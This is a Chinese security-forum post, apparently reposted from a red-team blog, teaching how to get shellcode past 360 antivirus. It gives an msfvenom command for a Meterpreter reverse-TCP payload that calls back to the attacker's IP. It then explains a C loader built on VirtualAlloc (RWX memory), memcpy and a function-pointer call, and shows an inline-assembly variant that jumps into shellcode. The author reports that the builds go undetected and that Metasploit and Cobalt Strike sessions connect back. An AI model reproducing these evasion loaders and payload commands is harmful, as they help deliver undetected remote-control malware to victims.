安全矩阵

 找回密码
 立即注册
搜索
查看: 2753|回复: 0

shellcode免杀(1)C语言三条指令免杀360

[复制链接]

221

主题

233

帖子

792

积分

高级会员

Rank: 4

积分
792
发表于 2021-8-29 15:41:36 | 显示全部楼层 |阅读模式
shellcode免杀(1)C语言三条指令免杀360 (qq.com)
shellcode免杀(1)C语言三条指令免杀360原创 小苏 [url=]moonsec[/url] 4天前
收录于话题#渗透测试 免杀 红队22个


shellcode免杀(1)C语言三条指令免杀360

1
简介
    各位师傅们好,之前也发过一些基础渗透水文,这次是第一次写点正经干货,描述有错的地方各位师傅海涵。
本来是想写PHP审计的,结果月师傅让我写免杀,经过一下午的c语言测试,得出了十多种过360的方法,这里拿三种c的方式过360(思路大体相同),还有一个c++的免杀360和火绒都可以过等第二篇再讲。
2
免杀过程
废话就不多讲了对于初学者友好发展,先看一遍制作过程,我们准备好msf和cs的shllecode


           

msfvenom -p windows/meterpreter/reverse_tcp LHOST="自己IP" LPORT="自己的端口" -f c > shell.txt


CS生成shellcode,要用c语言的shellcode,每个语言的解析shellcode方式不同所以这里要选好语言形式。


接下来就是把这些shellcode放到源码里进行免杀上线了,接下来的三种c语言免杀都是只能过360的,火绒动态被查,但是最后的c++是两个都可以过的,先来看个正经c语言免杀
看下图,没错c语言免杀就需要这点代码,而且这是八年前的代码,如果研究免杀的朋友应该很眼熟毕竟也是传烂了,本文也主要为了解析免杀,我们来一步步分析。
从这里开始麻烦真的想学免杀的仔细阅读,这是最简单的入门,如果你看不下去就不要学了。

前三行其实就和Java,python的import一样;第四行也就是我们箭头指的这行是隐藏弹出窗口,也就是不让控制台蹦出来,至于unsignedchar指无符号类型的字符数组,这里各位理解为扩容就行了

下边为代码主要部分,pvoid就是指针,学过c语言的朋友都知道基本都用*代替了这里方便讲解就用了本体类型
*P=null;//就是创建变量并且赋值
inta;//一样的性质,*p= null其实就是inta =0
typedefvoid(_stdcall*CODE)//给类型起别名,也可以用指针代替原函数,我们说的简单点这里就是将_stdcall函数利用指针特性附给了我们自己起的CODE函数里,指针就是变量容器,但是指针存的是地址,也就是我把_stdcall的地址存到了CODE里所以它的值也都在里边了,但是CODE还是CODE并有自己的地址。这里各位别深究,你就当继承了就行。

这里是最主要的,我们详细来讲解一下。
VirtualAlloc,是win32的api函数,是用来申请动态内存的,动态内存我们可以通俗的理解为,主动式保护内存,可以根据我们自己决定是否存在,打个比喻,一个苹果吃完就没有了,但是一整棵树的苹果你想吃哪个吃哪个,有的朋友可能会想这不还是能吃完么,当然了,内存又不是无限的,这个申请动态内存就是在有限的范围留出你想要的地方。
VirtualAlloc(NULL,sizeof(shellcode),MEM_COMMIT |MEM_RESERVE,PAGE_EXECUTE_READWRITE);//函数内参数(要分配的内存区域的地址,分配的大小,分配的类型, 该内存的初始保护属性)
这里的NULL是让系统自己分配内存地址;内存大小就是经典的sizeof了;
MEM_COMMIT |MEM_RESERVE:为特定的页面区域分配内存中或磁盘的页面文件中的物理内存,或保存地址而不分配物理存储,也就是保留这一个地址随时可利用
PAGE_EXECUTE_READWRITE:可执行可读模式,可以理解为申请权限
到了这里我们来总结这串代码具体意思:
我申请了一块土地,土地大小是shellcode,我要用这块土地都给我腾出地,我不用这块土地但这土地就是我的-我不用你们也不准用,这土地谁都能看明白是我的并且只有我可以动“
接下来看这块,if那里就是如果没有shellcode就直接结束进程了


memcpy函数,拷贝内存数据,和我们平时用的copy一样;
p:容器,也就是要接受数据的目标数组;
shellcode:复制的数据源;
sizeof():复制的大小;
代码解释:把多大的code存到p指针里;
CODE=_stdcall,code=(_stdcall)p
这里要好好看,前边我们已经给stdcall改了名字叫CODE,而stdcall的作用是从右向左压栈,这里是函数详细代码解析,不会汇编的朋友跳过就行也没必要深究本质
pushebp 保存ebp寄存器,该寄存器将用来保存堆栈的栈顶指针,可以在函数退出时恢复mov ebp,esp 保存堆栈指针moveax,[ebp + 8H] 堆栈中ebp指向位置之前依次保存有
  1. ebp,cs:eip,a,b,ebp+8指向a
  2. add eax,[ebp + 0CH] 堆栈中ebp+ 12处保存了b
  3. mov esp,ebp 恢复esp
  4. pop ebp
  5. ret8
复制代码
​ 我们这里再把之前赋值给p的数据拿来

           

VirtualAlloc(NULL,sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
从右向左,也就是先申请保护内存,可读可用,之后占用好不让别人动,大小为code大小,最后系统你看着办给我个地儿。
最后使用code();
到这我们算是把这个代码讲解完了,进行总结:


准备好调用头文件,其实和Java的依赖差不多;
把_stdcall改名为CODE,再隐藏弹窗;
将code存入shellcode数组;
创建指针变量p赋值为空方便存储;
将VirtuallAlloc函数存入p申请动态内存并保护;
如果shellcode为空则结束;
复制shellcode进p;
从右向左压栈;
code()执行。
终于到了看效果的时候了,把我们的shellcode放进去并生成exe文件

来用360扫一下看看,没有报毒


msf准备好监听看看能否上线并操作,可以上线并操作

接下来看cs的




看看运行,上线


来看另外两个免杀,只需要三行指令即可免杀



这里是嵌入式汇编呼叫ShellCode,学汇编的一看就明白了,鉴于很多开始专注于web渗透的师傅们很多不了解汇编我们这里简单讲解一下
  1. #pragmacomment(linker, "/section:.data,RWE")
  2. VOIDmain()
  3. {
  4.    __asm
  5.    {
  6.       
  7.        mov eax,offset ShellCode
  8.        jmp eax

  9.    }
  10. }
复制代码
#pragma comment(linker,"/section:.data,RWE"),这个等于之前的VirtualAlloc
__asm内联调用汇编语言达到不冲突可运行;
调用offset函数引用shellcode进入eax寄存器;
jmp无条件跳转进eax寄存器执行;
没错,运用汇编就是这么轻松,加上创建内联,实际只用两条指令就可以轻松过360,过多的不介绍了,看运行结果






本来是想把c++的一起发出来的,可是没想到c语言的就这么多了,等第二篇详细讲解c++如何过360与火绒的吧,希望各位师傅指出错误多多包涵。源码我就不留了,老师傅不需要,新手多敲敲熟练对吧。
最后,若想渗透好,就别要男女朋友,对象只会影响你的大脑思考。


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-29 18:39 , Processed in 0.013339 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表